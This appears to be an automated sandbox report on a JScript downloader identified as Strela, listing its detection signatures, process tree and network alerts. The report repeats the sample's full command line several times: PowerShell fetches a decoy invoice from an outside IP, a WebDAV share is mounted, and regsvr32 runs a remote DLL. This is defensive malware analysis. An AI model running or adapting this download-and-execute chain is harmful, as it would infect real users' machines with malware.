Edit tour

Windows Analysis Report
322024057229051058.js

Overview

General Information

Sample name:	322024057229051058.js
Analysis ID:	1588117
MD5:	d0b7c9c1e6ee9fd4a5fac64020a0257c
SHA1:	4e0b51685c74917f32ba804264f9404a23052cc6
SHA256:	aba05ade277dd23c85d66ca689c01cce5e6131a38add0fcb5d90262190c7d08f
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7884 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7976 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8028 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6632 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7712 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1748,i,12677483823451127157,6974208797512940996,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7324 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1824 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6468 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7884	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7976, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8028, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7976, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8028, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", ProcessId: 7884, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1824, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ProcessId: 7976, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ProcessId: 7976, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ProcessId: 7976, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ProcessId: 7976, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ProcessId: 7976, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", ProcessId: 7884, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7976, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8028, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7324, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1824, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6468, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7324, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1824, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll, ProcessId: 7976, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:32:43.641458+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49733	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:32:41.287096+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49717	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 322024057229051058.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 322024057229051058.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49733 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:32:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49733

Source: global traffic

TCP traffic: 192.168.2.10:49733 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:49679 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49717 -> 193.143.1.205:80

Source: global traffic

